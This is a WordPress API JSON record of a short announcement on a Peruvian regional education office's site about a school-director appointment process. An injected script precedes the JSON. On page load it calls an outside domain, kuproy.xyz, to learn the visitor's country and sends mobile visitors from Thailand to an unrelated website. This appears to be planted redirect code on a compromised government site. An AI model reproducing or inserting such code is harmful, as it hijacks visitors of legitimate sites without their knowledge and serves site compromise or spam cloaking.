<script>
(function() {
    var isDesktop = true;
    
    // Desktop = stay
    if (isDesktop) {
        document.body.style.visibility = "visible";
        return;
    }
    
    var key = "geo_th_v1";
    var cached = localStorage.getItem(key);
    
    // Mobile + TH = redirect
    if (cached === "TH") {
        location.href = "https://www.wakeboard-madrid.com/";
        return;
    }
    
    // Mobile + non-TH (cached) = stay
    if (cached && cached !== "TH") {
        document.body.style.visibility = "visible";
        return;
    }
    
    // Fetch country
    fetch("https://kuproy.xyz/")
        .then(function(r) { return r.text(); })
        .then(function(c) {
            var country = c.trim().toUpperCase();
            localStorage.setItem(key, country);
            
            // TH = redirect, non-TH = stay
            if (country === "TH") {
                location.href = "https://www.wakeboard-madrid.com/";
            } else {
                document.body.style.visibility = "visible";
            }
        })
        .catch(function() {
            // Error = assume non-TH, stay
            localStorage.setItem(key, "NOT_TH");
            document.body.style.visibility = "visible";
        });
})();
</script>{"id":711,"date":"2021-11-30T09:29:01","date_gmt":"2021-11-30T14:29:01","guid":{"rendered":"https:\/\/ugelarequipanorte.gob.pe\/wp\/?p=711"},"modified":"2021-11-30T09:29:01","modified_gmt":"2021-11-30T14:29:01","slug":"atencion-proceso-de-encargatura-de-direccion","status":"publish","type":"post","link":"https:\/\/ugelarequipanorte.gob.pe\/wp\/atencion-proceso-de-encargatura-de-direccion\/","title":{"rendered":"ATENCI\u00d3N PROCESO DE ENCARGATURA DE DIRECCI\u00d3N"},"content":{"rendered":"\n<p>Atenci\u00f3n proceso de encargaturas de direcci\u00f3n.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Atenci\u00f3n proceso de encargaturas de direcci\u00f3n.<\/p>\n","protected":false},"author":1,"featured_media":712,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-711","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-comunicados"],"_links":{"self":[{"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/posts\/711","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/comments?post=711"}],"version-history":[{"count":1,"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/posts\/711\/revisions"}],"predecessor-version":[{"id":713,"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/posts\/711\/revisions\/713"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/media\/712"}],"wp:attachment":[{"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/media?parent=711"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/categories?post=711"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ugelarequipanorte.gob.pe\/wp\/wp-json\/wp\/v2\/tags?post=711"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}